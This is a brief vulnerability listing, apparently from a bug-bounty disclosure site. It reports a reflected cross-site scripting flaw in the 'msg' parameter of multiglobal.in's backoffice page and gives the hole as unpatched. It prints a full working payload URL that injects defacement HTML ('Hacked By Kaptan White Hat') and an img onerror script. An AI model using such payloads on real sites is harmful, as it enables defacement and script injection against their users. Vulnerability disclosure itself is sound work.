multiglobal.in XSS vulnerability

Vulnerable URL: http://multiglobal.in/backoffice/index.php?msg=%3Cbody%20bgcolor=%22red%22%3E%3Cfont%20color=%22black%22%3EHacked%20By%20Kaptan%20White%20Hat%20%3C/font%3E%3Cimg%20src=x%20onerror=confirm%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch...